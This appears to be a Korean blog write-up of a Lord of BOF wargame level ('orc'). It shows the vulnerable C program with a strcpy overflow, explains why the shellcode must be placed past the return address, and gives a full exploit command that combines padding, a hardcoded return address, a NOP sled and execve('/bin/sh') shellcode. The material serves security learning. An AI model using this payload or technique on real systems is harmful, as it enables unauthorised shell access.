lob

orc

oogu ㅣ 2022. 12. 9. 17:09

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

이전 문제 코드와 마지막 부분빼고 똑같다 ㄷㄷ

마지막 부분을 보면 buffer 변수를 0 으로 초기화해서 shellcode를 buffer 변수에 넣으면 초기화 되기 때문에 안된다.

따라서, shellcode는 ret 밑으로 넣어보자

 

1. 환경변수 x
2. buffer 변수를 초기화함

 

[그림 1-1]

저번 문제랑 똑같은거 같은데 ㄷㄷ

payload = "A"*44 + shellcode + nop + shellcode

shellcode 위치를 찾아보자

[그림 1-2]

ret 명령어에 break 걸고 찾아보니 0xbffffaa0 부터 nop+shellcode 넣으면 되겠다.

 


./wolfman `python -c 'print("A"*44+"\xa0\xfa\xff\xbf" + "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`

[그림 1-3]

성공! (저번 문제랑 똑같이 풀었네..)

'lob' 카테고리의 다른 글

darkelf  (0) 2022.12.10
wolfman  (0) 2022.12.09
goblin  (0) 2022.12.09
cobolt  (0) 2022.11.15
gremlin  (0) 2022.11.13